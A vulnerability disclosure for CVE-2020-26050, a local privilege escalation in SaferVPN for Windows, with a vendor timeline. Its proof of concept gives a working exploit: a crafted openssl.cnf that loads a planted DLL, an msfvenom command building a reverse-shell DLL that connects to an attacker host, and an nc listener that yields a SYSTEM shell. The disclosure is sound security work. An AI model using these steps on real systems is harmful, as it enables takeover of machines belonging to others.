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# [CVE-2020-26050] SaferVPN for Windows Local Privilege Escalation

## Vulnerability Summary

When the SaferVPN attempts to connect to a VPN server, it spawns the `openvpn.exe` (`C:\Program Files (x86)\SaferVPN for Windows\bin\openvpn.exe`) in the context of `NT AUTHORITY\SYSTEM`. It tries to load an `openssl.cnf` configuration file from a non-existing folder (`C:\etc\ssl\openssl.cnf`). Because a low-privileged user is allowed to create folders under `C:\`, it's possible for the user to create the appropriate path and place the crafted `openssl.cnf` file in it. Once the `openvpn.exe` service starts, the `openssl.cnf` file will load a malicious OpenSSL engine library resulting in arbitrary code execution as `SYSTEM`.

*SaferVPN does not fix this vulnerability even after a 90-day disclosure deadline. Therefore, there is no patch available at the moment for this product. In order to inform the users of the vulnerability, I decided to publicly disclose the vulnerability.*

### Version Affected

SaferVPN for Windows from version 5.0.3.3 to the latest one (which is 5.0.4.15 as of Jan 12, 2021)

### Proof of Concept

1. Create an `openssl.cnf` configuration file with the following content.

```
openssl_conf = openssl_init
[openssl_init]
engines = engine_section

[engine_section]
root = root_section

[root_section]
engine_id = root
dynamic_path = c:\\etc\\ssl\\root.dll
init = 0
```

2. Generate a malicious dll using `msfvenom` (a reverse shell in this case)

```
msfvenom -p windows/shell_reverse_tcp LHOST=[attacker_ip] LPORT=[attacker_port] -f dll > root.dll
```

3. Create the following folder and sub-folders in `C:\`.

```
mkdir C:\etc\ssl
```

4. Place the `openssl.cnf` file created in step 1 and the `root.dll` created in step 2 under `c:\etc\ssl\`.

5. Setup a listener on attacking box

```
nc -lvnp [attacker_port]
```

6. Click the Connect button in SaferVPN for Windows app, you should receive a `SYSTEM` shell.

### PoC Video

#### Timeline

07-10-2020 — Sent the details of the vulnerability

10-11-2020 — Followed up and no response from the vendor

15-12-2020 — Informed the vendor of the fact that the 90-day disclosure deadline was approaching

7.1.2021 — CVE Assigned [CVE-2020-26050](#)

12.1.2021 — Public disclosure

#### References

Same vulnerability (CVE-2019-12572)>> <https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12572.txt>

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